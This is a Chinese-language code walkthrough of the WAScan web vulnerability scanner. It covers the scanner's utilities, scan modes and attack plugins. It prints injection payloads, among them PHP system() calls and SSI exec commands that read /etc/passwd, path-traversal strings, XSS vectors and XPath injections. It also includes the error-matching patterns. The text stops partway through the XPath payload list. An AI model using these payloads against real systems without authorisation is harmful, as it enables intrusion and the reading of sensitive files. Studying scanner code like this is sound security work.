def CNQuery(url):
if '?' in url:
parse = urlsplit(url)
if parse.scheme:return parse.scheme + '://' + parse.netloc + '/'
else: return 'http://' + parse.path+'/'
else:
parse = urlsplit(url)
if parse.scheme:return parse.scheme + '://' + parse.netloc + '/'
else:return 'http://' + parse.path + '/'
# 检查url的尾部 是否 / 结尾,去除
def CEndUrl(url):
if url.endswith('/'):
return url[:-1]
return url
# 接受 scan参数即 扫描类型
# 然后进行检查是否在 0 - 5 的范围内
def CScan(scan):
# check scan options
if scan not in ['0','1','2','3','4','5']:
info('Option --scan haven\'t argument, assuming default value 5')
scan = int('5')
if isinstance(scan,str):
return int(scan)
return int(scan)
# 对 URL进行各项切分
class SplitURL:
def __init__(self,url):
# http,https
# 协议
self.scheme = urlsplit(url).scheme
# 域名
# www.site.com
self.netloc = CUrl(urlsplit(url).netloc)
# 路径
# /test/index.php
self.path = urlsplit(url).path
# 查询参数
# id=1&f=1
self.query = urlsplit(url).query
# fragment
# #test
self.fragment = urlsplit(url).fragment
# 解析 host头部
def CHeaders(headers):
# e.g: "Host:google.com" return {'Host':'google.com'}
_ = {}
if ':' in headers:
if ',' in headers:
headerList = headers.split(',')
for header in headerList:
_[header.split(':')[0]] = header.split(':')[1]
else:
_[headers.split(':')[0]] = headers.split(':')[1]
return _
# 用于 认证
def CAuth(auth):
if ':' not in auth:
return "%s:"%(auth)
return auth

颜色常量定义: lib/utils/colors.py

定义一些颜色常量,略过。

列举py文件: lib/utils/dirs.py

定义了dirs函数,用于列举出指定目录下,指定后缀名为py,且不是__init__.py的 py文件。

1
2
3
4
5
6
7
def dirs(path):
files = []
_ = os.listdir(path)
for file in _:
if not file.endswith('.py') or file == '__init__.py':pass
else:files.append(file)
return files

测试用例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
In [39]: from lib.utils.dirs import dirs
In [40]: dirs("./")
Out[40]: ['wascan.py']
In [41]: dirs("./lib/utils/")
Out[41]:
['params.py',
'usage.py',
'colors.py',
'readfile.py',
'exception.py',
'check.py',
'printer.py',
'unicode.py',
'settings.py',
'rand.py',
'dirs.py',
'payload.py']

异常定义:lib/utils/exception.py

定义了几种可能出现的错误:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class WascanUnboundLocalError(UnboundLocalError):
pass
class WascanDataException(Exception):
pass
class WascanNoneException(Exception):
pass
class WascanInputException(Exception):
pass
class WascanGenericException(Exception):
pass
class WascanConnectionException(HTTPError):
pass
class WascanKeyboardInterrupt(KeyboardInterrupt):
pass

参数payload处理:lib/utils/params.py

定义了两个类,用于处理请求参数payload的关系,替换和拼接。替换的场景,比如任意文件读取,?readfile=xx 可能替换成?readfile=/etc/passwd 。拼接的场景,比如SQL注入,?id=1 ,可能拼接为 ?id=1' 或者 ?id=1" or 1=1

第一个类preplace替换,用于把请求参数的值替换为对应的payload。存疑一:get请求中用sub(porignal,ppayload,self.url)来处理,而post请求中用self.data.replace(porignal,ppayload请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
class preplace:
""" replace params with payload"""
# 初始化
def __init__(self,url,payload,data):
# url
self.url = url
# data 指 POST请求的 POST部分
# 对于 GET 请求,data 为 None
self.data = data
# _params
self._params = []
# 对应的 payload
self.payload = payload
# 处理GET请求
# http://test.com?a=1&b=2
def get(self):
"""get"""
params = self.url.split("?")[1].split("&")
# params = ['a=1', 'b=2']
# 对 params 中的每一个参数
for param in params:
# 按照 = 切割,替换成payload 即 a=payload
ppayload = param.replace(param.split("=")[1],self.payload)
# 获取原本的参数对
porignal = param.replace(ppayload.split("=")[1],param.split("=")[1])
# http://test.com?a=payload&b=2
self._params.append(sub(porignal,ppayload,self.url))
# 处理POST请求
def post(self):
"""post"""
params = self.data.split("&")
for param in params:
ppayload = param.replace(param.split("=")[1],self.payload)
porignal = param.replace(ppayload.split("=")[1],param.split("=")[1])
self._params.append(self.data.replace(porignal,ppayload))
# 开始处理
def run(self):
# 如果 url中 带有 ? , 并且 data部分 为 None
if "?" in self.url and self.data == None:
# GET请求 处理
self.get()
# 如果 url中 没有 ? , 并且 data部分 不为 None
elif "?" not in self.url and self.data != None:
# POST请求 处理
self.post()
# 其他情况 无法明确判断
else:
# 都进行一遍处理
self.get()
self.post()
return self._params

第二个类padd,用于往请求参数中添加payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
class padd:
""" add the payload to params """
# 基本的初始化
def __init__(self,url,payload,data):
self.url = url
self.data = data
self._params = []
self.payload = payload
# 处理GET请求
# http://test.com?a=1&b=2
def get(self):
"""get"""
params = self.url.split("?")[1].split("&")
for param in params:
# a=1payload
ppayload = param.replace(param.split("=")[1],param.split('=')[1]+self.payload)
porignal = param.replace(ppayload.split("=")[1],param.split("=")[1])
self._params.append(sub(porignal,ppayload,self.url))
def post(self):
"""post"""
params = self.data.split("&")
for param in params:
ppayload = param.replace(param.split("=")[1],param.split('=')[1]+self.payload)
porignal = param.replace(ppayload.split("=")[1],param.split("=")[1])
self._params.append(self.data.replace(porignal,ppayload))
# 进行处理
def run(self):
if "?" in self.url and self.data == None:
self.get()
elif "?" not in self.url and self.data != None:
self.post()
else:
self.get()
self.post()
return self._params

基本攻击payload: lib/utils/payload.py

整合了基本攻击的各种payload。对于每种攻击,返回list。结合前面整体功能 -> 攻击章节:

类型 对应函数payload
Bash 命令注入 bash()
SQL盲注 bsql()
溢出 None
CRLF crlfp()
头部SQL注入 None
头部XSS None
HTML注入 html()
LDAP注入 ldap()
本地文件包含 plfi()
执行操作系统命令 os()
php 代码注入 php()
SQL注入 sql()
服务器端注入 ssip() , pssi()
Xpath注入 xpath()
XSS pxss()
XML注入 xxep()

头部SQL注入溢出头部XSS在该文件中对应的payload似乎没有出现。payload的具体内容就这里不展开,具体等后文与调用代码结合解释。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# Server Side Injection
# 有待研究
def ssip():
""" Server Side Injection """
省略
# CRLF
# CRLF字符对应 %0d %0a
def crlfp():
"""Carriage Return Line Feed"""
省略
# XXE
def xxep():
""" XML External Entity"""
省略
# SSI
def pssi():
""" Server Side Include"""
省略
# XSS
def pxss():
""" Cross-Site Scripting"""
省略
# php代码注入
def php():
""" PHP Code Injection """
省略
# xpath注入
def xpath():
""" Xpath """
省略
# bash注入
def bash():
"""Basic Bash Command Injection """
省略
# sql注入
def sql():
"""Generic SQL"""
省略
# os命令注入
def os():
""" OS Command Injection """
省略
# 本地文件包含
def plfi():
""" Local file Inclusion """
省略
# 盲注
def bsql():
""" Blind SQL Injection """
省略
# html注入
def html():
""" HTML Code Injection """
省略
# ldap注入
def ldap():
""" LDAP Injection """
省略

格式化打印: lib/utils/printer.py

定义了各种打印输出方法,基本的格式化字符串、颜色、编码等等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def plus(string,flag="[+]"):
print "{}{}{} {}{}{}".format(
GREEN%(0),flag,RESET,
WHITE%(0),ucode(string),RESET
)
def less(string,flag="[-]"):
def warn(string,flag="[!]"):
def test(string,flag="[*]"):
def info(string,flag="[i]"):
def more(string,flag="|"):
def null():
print ""

随机串生成: lib/utils/rand.py

定义两个函数。第一个是r_time基于当前时间strftime('%y%m%d') 用来生成随机数字。

1
2
3
def r_time():
""" random numbers """
return randint(0,int(strftime('%y%m%d')))

第二个是r_string,用于生成指定长度为n的包含大写或者小写字母的随机字符串。

1
2
3
def r_string(n):
""" random strings """
return "".join([choice(uppercase+lowercase) for _ in xrange(0,int(n))])

文件读取操作:lib/utils/readfile.py

该文件定义了readfile函数,用于基本的文件读取操作。首先判断路径是否为空,!=None或者!=""。利用列表生成器,line.strip()在读取每一行后去除两边的空白符。:

1
2
3
4
5
def readfile(path):
""" read file """
if path != None or path != "":
return [line.strip() for line in open(path,'rb')]
return

基本设置:lib/utils/settings.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
# tool name 工具名称,即命令行运行时的第一个参数
NAME = argv[0]
# tool version 版本
VERSION = "v0.2.1"
# author 作者
AUTHOR = "Momo Outaadi (M4ll0k)"
# description 描述
DESCRIPTION = "Web Application Scanner"
# name + description + version
NVD = (NAME.split('.')[0]).title()+": "+DESCRIPTION+" - "+VERSION
# max threads 最大线程数量
MAX = 5
# args 命令行参数
CHAR = "u:s:H:d:m:h:R:a:A:c:p:P:t:n:v=:V=:r=:b=:"
# 与上面命令行参数对应的 完整参数名称
LIST_NAME = [
省略
]
# argv
ARGV = argv
# dict args
ARGS = {
'auth': None,
'brute': None,
'agent': ragent(),
'proxy': None,
'pauth': None,
'cookie': None,
'timeout': 5,
'redirect': True,
'headers': {},
'data': None,
'method': 'GET'
}
# time
TIME = strftime('%d/%m/%Y at %H:%M:%S')
TNOW = strftime('%H:%M:%S')
# print version
def Version():
print "\n{}".format(NVD)
print "Author: {}\n".format(AUTHOR)
exit()
# print time and url
def PTIME(url):
plus("URL: {}".format(url))
plus("Starting: {}".format(TIME))
null()

编码: lib/utils/unicode.py

统一转换成utf-8来处理

1
2
3
4
def ucode(string):
if isinstance(string,unicode):
return string.encode('utf-8')
return string

帮助信息:lib/utils/usage.py

用来输出一些帮助信息,全程一行行print,简单粗暴。

1
2
3
4
5
6
7
class usage:
""" docstring for usage """
def banner(self):
省略
def basic(self,_exit_=True):
省略

lib/handler 文件夹

这里定义了几种扫描处理模式。回到主文件wascan.py中,它真正开始扫描是后半部分代码,根据kwargs['brute']scan的值去选择不同的模式,比如若指定了brute,则会调用BruteParams模式,其余类似。这些模式都整合在handler目录下。

暴破:lib/handler/brute.py

第一种暴破指去爆破页面中的隐藏参数
brute.py对应代码如下:

1
2
3
def BruteParams(kwargs,url,data):
params(kwargs,url,data).run()
exit(0)

其中params类后文再详解。

主文件wascan.py的调用入口:

1
2
if kwargs['brute']:
BruteParams(kwargs,url,kwargs['data']).run()

第二种爆破指后台爆破、路径爆破。
brute.py对应代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
path = os.path.join(os.path.abspath('.').split('lib')[0],'plugins/brute/')
def Brute(kwargs,url,data):
# 获取 根路径
url = CNQuery(url)
info('Starting bruteforce module...')
# dirs函数,获取指定path目录下的以py结尾的非 __ini__.py 的py文件
for file in dirs(path):
file = file.split('.py')[0]
__import__('plugins.brute.%s'%(file))
# 作为模块导入,开始爆破
module = sys.modules['plugins.brute.%s'%(file)]
module = module.__dict__[file]
module(kwargs,url,data).run()

主文件wascan.py中两处入口:

1
2
3
4
5
6
if scan == 3:
Brute(kwargs,url,kwargs['data'])
省略
if int(scan) == 5:
省略
Brute(kwargs,parse.netloc,kwargs['data'])

指纹:lib/handler/fingerprint.py

指纹识别模式。fingerprint.py代码中Fingerprint类如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
class Fingerprint(Request):
"""Fingerprint"""
def __init__(self,kwargs,url):
# 相关参数 初始化
Request.__init__(self,kwargs)
self.kwarg = kwargs
self.url = url
def run(self):
info('Starting fingerprint target...')
try:
# -- request --
# 首先发送HTTP GET请求
req = self.Send(url=self.url,method="GET")
# -- detect server --
# 探测 服务器指纹
# 一个站点往往对应一种服务器如apache
# 根据头部返回的信息 server: xxx 来确定
__server__ = server(self.kwarg,self.url).run()
if __server__:
# 若探测到,plus打印模式
plus('Server: %s'%(__server__))
# -- detect cms
# 探测 cms框架指纹
__cms__ = Cms(req.headers,req.content)
# 同一个站点,可能同时使用多种cms。因此会返回多种结果
for cms in __cms__:
if cms != (None and ""):
plus('CMS: %s'%(cms))
# -- detect framework
# 探测 web框架
__framework__ = Framework(req.headers,req.content)
for framework in __framework__:
if framework != (None and ""):
plus('Framework: %s'%(framework))
# -- detect lang
# 探测 编程语言
__lang__ = Language(req.content)
for lang in __lang__:
if lang != (None and ""):
plus('Language: %s'%(lang))
# -- detect os
# 探测 操作系统版本
__os__ = Os(req.headers)
for os in __os__:
if os != (None and ""):
plus('Operating System: %s'%os)
# -- detect waf
# 探测 waf种类
__waf__ = Waf(req.headers,req.content)
for waf in __waf__:
if waf != (None and ""):
plus('Web Application Firewall (WAF): %s'%waf)
Headers(req.headers,req.content)
except Exception as e:
pass

在探测server时,由于WAScan直接采用了返回头部中的server字段,没有爆破处理。所以server函数实际存放在plugins/fingerprint/server/server.py。而其他类型的指纹,比如cmsframeworkLanguageOsWaf等,难以直接确定,需要多种脚本去尝试,所以这几种类型的指纹探测,都是在fingerprint.py中定义了一个入口函数,用来导入`plugins/fingerprint/目录下的相关探测模块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
g_path = os.path.join(os.path.abspath('.').split('lib')[0],'plugins/fingerprint/')
def Cms(headers,content):
cms = []
path = g_path+'cms/'
for file in dirs(path):
file = file.split('.py')[0]
__import__('plugins.fingerprint.cms.%s'%(file))
module = sys.modules['plugins.fingerprint.cms.%s'%(file)]
module = module.__dict__[file]
cms.append(module(headers,content))
return cms
def Framework(headers,content):
framework = []
path = g_path+'framework/'
for file in dirs(path):
file = file.split('.py')[0]
__import__('plugins.fingerprint.framework.%s'%(file))
module = sys.modules['plugins.fingerprint.framework.%s'%(file)]
module = module.__dict__[file]
framework.append(module(headers,content))
return framework
def Language(content):
language = []
path = g_path+'language/'
for file in dirs(path):
file = file.split('.py')[0]
__import__('plugins.fingerprint.language.%s'%(file))
module = sys.modules['plugins.fingerprint.language.%s'%(file)]
module = module.__dict__[file]
language.append(module(content))
return language
def Os(headers):
operating_system = []
path = g_path+'os/'
for file in dirs(path):
file = file.split('.py')[0]
__import__('plugins.fingerprint.os.%s'%(file))
module = sys.modules['plugins.fingerprint.os.%s'%(file)]
module = module.__dict__[file]
operating_system.append(module(headers))
return operating_system
def Waf(headers,content):
web_app_firewall = []
path = g_path+'waf/'
for file in dirs(path):
file = file.split('.py')[0]
__import__('plugins.fingerprint.waf.%s'%(file))
module = sys.modules['plugins.fingerprint.waf.%s'%(file)]
module = module.__dict__[file]
web_app_firewall.append(module(headers,content))
return web_app_firewall

在完成所有类型的探测后,wascan在结尾调用了Headers(req.headers,req.content),这个根据响应来确定一些信息,具体作用等讲解plugins/fingerprint时再详说。

1
2
3
4
def Headers(headers,content):
if 'set-cookie' in headers.keys() or 'cookie' in headers.keys():
cookies().__run__(headers['set-cookie'] or headers['cookie'])
header().__run__(headers)

在主文件wascan.py中有两处入口,如下:

1
2
3
4
5
if scan == 0:
Fingerprint(kwargs,url).run()
if int(scan) == 5:
省略
Fingerprint(kwargs,url).run()

攻击:lib/handler/attacks.py

导入各种攻击的模块,然后调用运行

1
2
3
4
5
6
7
8
9
10
path = os.path.join(os.path.abspath('.').split('lib')[0],'plugins/attacks/')
def Attacks(kwargs,url,data):
info('Starting attacks module...')
for file in dirs(path):
file = file.split('.py')[0]
__import__('plugins.attacks.%s'%(file))
module = sys.modules['plugins.attacks.%s'%(file)]
module = module.__dict__[file]
module(kwargs,url,data).run()

主文件wascan.py中的入口:

1
2
if scan == 1:
Attacks(kwargs,url,kwargs['data'])

审计:lib/handler/audit.py

载入各种审计的模块,然后调用运行。

1
2
3
4
5
6
7
8
9
10
11
path = os.path.join(os.path.abspath('.').split('lib')[0],'plugins/audit/')
def Audit(kwargs,url,data):
url = CNQuery(url)
info('Starting audit module...')
for file in dirs(path):
file = file.split('.py')[0]
__import__('plugins.audit.%s'%(file))
module = sys.modules['plugins.audit.%s'%(file)]
module = module.__dict__[file]
module(kwargs,url,data).run()

主文件wascan.py中的入口:

1
2
if scan == 2:
Audit(kwargs,url,kwargs['data'])

信息搜集:lib/handler/disclosure.py

载入各种信息搜集的模块,然后调用运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
path = os.path.join(os.path.abspath('.').split('lib')[0],'plugins/disclosure/')
class Disclosure(Request):
def __init__(self,kwargs,url,data):
Request.__init__(self,kwargs)
self.url = url
def run(self):
info('Starting disclosure module...')
req = self.Send(url=self.url,method='GET')
for file in dirs(path):
file = file.split('.py')[0]
__import__('plugins.disclosure.%s'%(file))
module = sys.modules['plugins.disclosure.%s'%(file)]
module = module.__dict__[file]
if file == 'errors':module(req.content,req.url)
else:module(req.content)

主文件wascan.py中的入口:

1
2
if scan == 4:
Disclosure(kwargs,url,kwargs['data']).run()

爬虫:lib/handler/crawler.py

爬虫调用,在给定一个url后,在fullscan模式下会去爬去页面中所有的链接,然后进行检查。对应代码如下:

1
2
3
4
5
6
7
8
9
10
11
class Crawler:
""" cralwer """
def run(self, kwargs, url, data):
info("Starting crawler...")
links = []
links.append(url)
for link in links:
for k in SCrawler(kwargs, url, data).run():
if k not in links:
links.append(k)
return links

links保存所有的url,一开始就一个。然后通过调用爬虫:lib/request/crawler.py中的SCrawler爬虫,不断地往links中添加,然后不断爬取。

主文件的入口:

1
2
3
if int(scan) == 5:
省略
for u in Crawler().run(kwargs,url,kwargs['data']):

完整扫描: lib/handler/fullscan.py

实际代码如下:

1
2
3
4
5
def FullScan(kwargs,url,data):
info('Starting full scan...')
if '?' in url:
Attacks(kwargs,url,data)
Disclosure(kwargs,url,data)

主文件入口:

1
2
3
4
5
6
7
8
9
if int(scan) == 5:
省略
for u in Crawler().run(kwargs,url,kwargs['data']):
省略
if type(u[0]) is tuple:
省略
FullScan(kwargs,u[0],kwargs['data'])
else:
FullScan(kwargs,u,kwargs['data'])

所以综上,fullscan模式的整体流程如下:

  1. Fingerprint()
  2. Crawler()
  3. FullScan()
    1. Attacks()
    2. Disclosure()
  4. Audit()
  5. Brute()

lib/db 文件夹

整合各种字典。先略过。

plugins/attacks

plugins/attacks/htmli.py

检查HTML代码注入。思路即:在参数值中添加进html代码,然后检查返回的响应,直接用search(payload,req.content) 来看能否检测到相应的模式,。若存在则保存URLDATAPAYLOAD,然后输出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
class htmli(Request):
""" Html Code Injection """
get = "GET"
post = "POST"
def __init__(self,kwargs,url,data):
Request.__init__(self,kwargs)
self.url = url
self.data = data
def run(self):
""" Run """
info('Checking HTML Injection...')
URL = None
DATA = None
PAYLOAD = None
# start
for payload in html():
# post method
if self.data:
# data add payload
addPayload = padd(self.url,payload,self.data)
for data in addPayload.run():
# send request
req = self.Send(url=self.url,method=self.post,data=data)
# search payload in response content
if search(payload,req.content):
URL = req.url
DATA = data
PAYLOAD = payload
break
# get method
else:
# url and payload
urls = padd(self.url,payload,None)
for url in urls.run():
# send request
req = self.Send(url=url,method=self.get)
# search payload in response content
if search(payload,req.content):
URL = url
PAYLOAD = payload
break
# break if URL and PAYLOAD not empt
if URL and PAYLOAD:
# print
if DATA != None:
plus("A potential \"HTML Code Injection\" was found at:")
more("URL: {}".format(URL))
more("POST DATA: {}".format(DATA))
more("PAYLOAD: {}".format(PAYLOAD))
elif DATA == None:
plus("A potential \"HTML Code Injection\" was found at:")
more("URL: {}".format(URL))
more("PAYLOAD: {}".format(PAYLOAD))
# break
break

plugins/attacks/phpi.py

检查PHP代码注入。采用的是 system("cat /etc/passwd")类似的payload来检测在返回的响应中匹配的是 root: /bin/bash字符串,或者通过system("echo")输出随机字符串来匹配。个人看法,system在许多情况下都是被禁用的,因此通过system来检测成功率估计不高。另外/etc/passwd只存在UNIX系统上,win需要其他方式来检查。如果用phpinfo()可能会更好。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
class phpi(Request):
""" PHP Code Injection """
get = "GET"
post = "POST"
def __init__(self,kwargs,url,data):
Request.__init__(self,kwargs)
self.url = url
self.data = data
def run(self):
""" Run """
info('Checking PHP Code Injection...')
URL = None
DATA = None
PAYLOAD = None
for payload in php():
# post method
if self.data:
# data add payload
rPayload = preplace(self.url,payload,self.data)
for data in rPayload.run():
# split payload
if "\"" in payload:
payload = payload.split('"')[1]
# send request
req = self.Send(url=self.url,method=self.post,data=data)
# search payload in req.content
# payload采用的是 system("cat /etc/passwd")
# 因此匹配的是 root: /bin/bash
if search(r"root\:\/bin\/bash|"+payload,req.content):
URL = req.url
DATA = data
PAYLOAD = payload
break
# get method
else:
# url query add payload
urls = preplace(self.url,payload,None)
for url in urls.run():
# split payload
if "\"" in payload:
payload = payload.split('"')[1]
# send request
req = self.Send(url=url,method=self.get)
# search payload in req.content
if search(r"root\:\/bin\/bash|"+payload,req.content):
URL = url
PAYLOAD = payload
break
# if URL and PAYLOAD not empty
if URL and PAYLOAD:
# print
if DATA != None:
plus("A potential \"PHP Code Injection\" was found at:")
more("URL: {}".format(URL))
more("POST DATA: {}".format(DATA))
more("PAYLOAD: {}".format(PAYLOAD))
elif DATA == None:
plus("A potential \"PHP Code Injection\" was found at:")
more("URL: {}".format(URL))
more("PAYLOAD: {}".format(PAYLOAD))
# break
break

对应的payload 在 lib/utils/payload.py:68 :

1
2
3
4
5
6
7
# php代码注入
def php():
""" PHP Code Injection """
payload = ["system('/bin/echo%20\""+r_string(30)+"\"')"]
payload += ["system('/bin/cat%20/etc/passwd')"]
payload += ["system('echo\""+r_string(30)+"\"')"]
return payload

plugins/attacks/ssi.py

因为这个情况往往存在UNIX系统中,win一般不存在该漏洞。所以payload中只尝试读取/etc/passwd,然后检测响应。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
class ssi(Request):
""" Server Side Injection """
get = "GET"
post = "POST"
def __init__(self,kwargs,url,data):
Request.__init__(self,kwargs)
self.url = url
self.data = data
def run(self):
""" Run """
info('Checking Server Side Injection...')
URL = None
DATA = None
PAYLOAD = None
# start
for payload in ssip():
# post method
if self.data:
# data add payload
addPayload = padd(self.url,payload,self.data)
for data in addPayload.run():
# send request
req = self.Send(url=self.url,method=self.post,data=data)
# search payload in response content
if search(r'root:/bin/[bash|sh]',req.content):
URL = req.url
DATA = data
PAYLOAD = payload
break
# get method
else:
# url and payload
urls = padd(self.url,payload,None)
for url in urls.run():
# send request
req = self.Send(url=url,method=self.get)
# search payload in response content
if search(r'root:/bin/[bash|sh]',req.content):
URL = url
PAYLOAD = payload
break
# break if URL and PAYLOAD not empty
if URL and PAYLOAD:
# print
if DATA != None:
plus("A potential \"Server Side Injection\" was found at:")
more("URL: {}".format(URL))
more("POST DATA: {}".format(DATA))
more("PAYLOAD: {}".format(PAYLOAD))
elif DATA == None:
plus("A potential \"Server Side Injection\" was found at:")
more("URL: {}".format(URL))
more("PAYLOAD: {}".format(PAYLOAD))
# break
break

对应payload:

1
2
3
4
5
6
7
8
def ssip():
""" Server Side Injection """
payload = ['<pre><!--#exec cmd="/etc/passwd" --></pre>']
payload += ['<pre><!--#exec cmd="/bin/cat /etc/passwd" --></pre>']
payload += ['<pre><!--#exec cmd="/bi*/ca? /et*/passw?" --></pre>']
payload += ['<!--#exec cmd="/etc/passwd" -->']
payload += ['<!--#exec cmd="/et*/pa??w?" -->']
return payload

plugins/attacks/bufferoverflow.py

溢出bufferoverflow的payload没有在lib/utils/payload.py中出现,而是直接定义在了这里。几种可能的字符,然后三种可能的长度,发包检测响应。这里的serror需要匹配的模式(lib/db/errors/buffer.json)如下:

1
2
3
4
5
6
7
8
9
10
11
12
{
"info":{
"name":"BOF",
"regexp":[
"\*\*\* stack smashing detected \*\*\*:",
"\<html\>\<head\>
\<title\>500 Internal Server Error\<\/title\>
",
"Internal Server Error\<\/h1\>"
]
}
}

bufferoverflow.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
class bufferoverflow(Request):
""" Buffer Overflow """
get = "GET"
post = "POST"
def __init__(self,kwargs,url,data):
Request.__init__(self,kwargs)
self.url = url
self.data = data
def serror(self,resp):
""" Return error """
_ = None
realpath = path.join(path.realpath(__file__).split('plugins')[0],'lib/db/errors')
abspath = realpath+"/"+"buffer.json"
_ = self.search(resp,json.loads(readfile(abspath)[0],encoding="utf-8"))
if _ != None: return _
def search(self,resp,content):
""" Search error in response """
for error in content['info']['regexp']:
if search(error,resp):
_ = content['info']['name']
return _
def run(self):
""" Run """
info('Checking Buffer OverFlow...')
URL = None
DATA = None
PAYLOAD = None
# potential char caused buffer overflow
char = ["A","%00","%06x","0x0"]
for payload in char:
# payload * num
for num in [10,100,200]:
# post method
if self.data:
# replace params with payload
rPayload = preplace(self.url,(payload*num),self.data)
for data in rPayload.run():
# send request
req = self.Send(url=self.url,method=self.post,data=data)
# search errors
error = self.serror(req.content)
if error:
URL = req.url
DATA = self.data
PAYLOAD = "{} * {}".format(payload,num)
break
# get method
else:
urls = preplace(self.url,(payload*num),None)
for url in urls.run():
# send request
req = self.Send(url=url,method=self.get)
# search errors
error = self.serror(req.content)
if error:
URL = url
PAYLOAD = "{} * {}".format(payload,num)
break
# break if URL and PAYLOAD not empty
if URL and PAYLOAD:
# print
if DATA != None:
plus("A potential \"Buffer Overflow\" was found at:")
more("URL: {}".format(URL))
more("POST DATA: {}".format(DATA))
more("PAYLOAD: {}".format(PAYLOAD))
elif DATA == None:
plus("A potential \"Buffer Overflow\" was found at:")
more("URL: {}".format(URL))
more("PAYLOAD: {}".format(PAYLOAD))
break

plugins/attacks/lfi.py

代码结构和 bufferoverflow.py 大致相同。

真正的payload 在 lib/utils/payload.py:137:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def plfi():
""" Local file Inclusion """
payload = ["/etc/passwd%00"]
payload += ["/etc/passwd"]
payload += ["etc/passwd"]
payload += ["%00../../../../../../etc/passwd"]
payload += ["%00../etc/passwd%00"]
payload += ["/./././././././././././boot.ini"]
payload += [r"/..\../..\../..\../..\../..\../..\../boot.ini"]
payload += ["..//..//..//..//..//boot.ini"]
payload += ["../../boot.ini"]
payload += ["/../../../../../../../../../../../boot.ini%00"]
payload += ["/../../../../../../../../../../../boot.ini%00.html"]
payload += ["C:/boot.ini"]
payload += ["/../../../../../../../../../../etc/passwd^^"]
payload += [r"/..\../..\../..\../..\../..\../..\../etc/passwd"]
payload += [r"..\..\..\..\..\..\..\..\..\..\etc\passwd%"]
payload += ["../../../../../../../../../../../../localstart.asp"]
payload += ["index.php"]
payload += ["../index.php"]
payload += ["index.asp"]
payload += ["../index.asp"]
return payload

用于匹配的模式 lib/db/errors/lfi.json:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
"info":{
"name":"LFI",
"regexp":[
"root:/bin/bash",
"root:/bin/sh",
"java.io.FileNotFoundException:",
"java.lang.Exception:",
"java.lang.IllegalArgumentException:",
"java.net.MalformedURLException:",
"fread\(\):",
"for inclusion \'\(include_path=",
"Failed opening required",
"\<b\>Warning\<\/b\>: file\(",
"\<b\>Warning\<\/b\>: file_get_contents\(",
"open_basedir restriction in effect",
"Failed opening [\'\S*\'] for inclusion \(",
"failed to open stream\:",
"root\:\/root\:\/bin\/bash",
"default=multi([0])disk([0])rdisk([0])partition([1])\WINDOWS"
]
}
}

plugins/attacks/xss.py

代码结构与 htmli.py 类似。

对应payload 在 lib/utils/payload.py:51:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def pxss():
""" Cross-Site Scripting"""
payload = [r"<script>alert('"+r_string(5)+"')</script>"]
payload += [r"<script>alert('"+r_string(5)+r"');</script>"]
payload += [r"\'\';!--\"<"+r_string(5)+r">=&{()}"]
payload += [r"<script>a=/"+r_string(5)+r"/"]
payload += [r"<body onload=alert('"+r_string(5)+r"')>"]
payload += [r"<iframe src=javascript:alert('"+r_string(5)+r"')>"]
payload += [r"<x onxxx=alert('"+r_string(5)+r"') 1='"]
payload += [r"</script><svg onload=alert("+r_string(5)+r")>"]
payload += [r"<svg onload=alert('"+r_string(5)+r"')>"]
payload += [r"alert\`"+r_string(5)+r"\`"]
payload += [r"><script>"+r_string(5)+""]
payload += [r"\"><script>alert('"+r_string(5)+"');</script>"]
payload += [r"< script > "+r_string(5)+" < / script>"]
return payload

plugins/attacks/xpathi.py

代码结构与 bufferoverflow.py 类似。

payload 在 lib/utils/payload.py:75:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def xpath():
""" Xpath """
payload = ["\'"]
payload += ["//*"]
payload += ["@*"]
payload += ["\' OR \'=\'"]
payload += ["\' OR \'1\'=\'1\'"]
payload += ["x\' or 1=1 or \'x\'=\'y"]
